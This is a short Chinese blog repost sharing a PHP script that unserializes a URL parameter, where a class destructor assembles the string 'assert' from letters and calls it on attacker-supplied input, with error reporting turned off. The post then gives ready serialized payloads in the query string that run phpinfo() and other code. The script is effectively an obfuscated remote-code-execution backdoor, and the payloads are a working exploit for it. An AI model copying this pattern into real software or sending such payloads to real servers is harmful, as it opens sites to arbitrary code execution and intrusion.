zoukankan      html  css  js  c++  java
  • 群里一个高手写的url?传参执行php函数的小程序, 收藏下

    <?php
    // +----------------------------------------------------------------------
    // | Copyright (c) 2006-2012 KingBin All rights reserved.
    // +----------------------------------------------------------------------
    // | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
    // +----------------------------------------------------------------------
    // | Author: KingBin 1055692563@qq.com
    // +----------------------------------------------------------------------
    error_reporting(0);
    class test
    {
        public $fn=array('a','s','s','e','r','t');
        public $str;
        
        function __destruct()
        {
           $r =  join(null,$this->fn);
           return $r($this->str);
        }
    }
    
    if($_GET['url']) unserialize($_GET['url']) && die();
    
    show_source(__FILE__);
    
    
    ?>

    所以 只要我们提交一个
    $o=new test; $o->str='phpinfo()'; 那么是不是就会起到执行phpinfo呢? 所以转换一下  xx.php?url=O:4:"test":1:{s:3:"str";s:9:"phpinfo()";} 就会执行了  这个类~~~~
    ?url=O:4:%22test%22:2:{s:2:%22fn%22;a:6:{i:0;s:1:%22a%22;i:1;s:1:%22s%22;i:2;s:1:%22s%22;i:3;s:1:%22e%22;i:4;s:1:%22r%22;i:5;s:1:%22t%22;}s:3:%22str%22;s:18:%22die('heelo%20world')%22;}
  • 相关阅读:
    SDOI2018 旧试题
    JSOI2004 平衡点 / 吊打XXX
    SDOI2017 数字表格
    CQOI2015 选数
    BZOJ2741 【FOTILE模拟赛】L
    BZOJ4103 [Thu Summer Camp 2015]异或运算
    BZOJ3689 异或之
    BZOJ4128 Matrix
    HNOI2006 最短母串问题
    SCOI2013 密码
  • 原文地址:https://www.cnblogs.com/freespider/p/3382127.html
Copyright © 2011-2022 走看看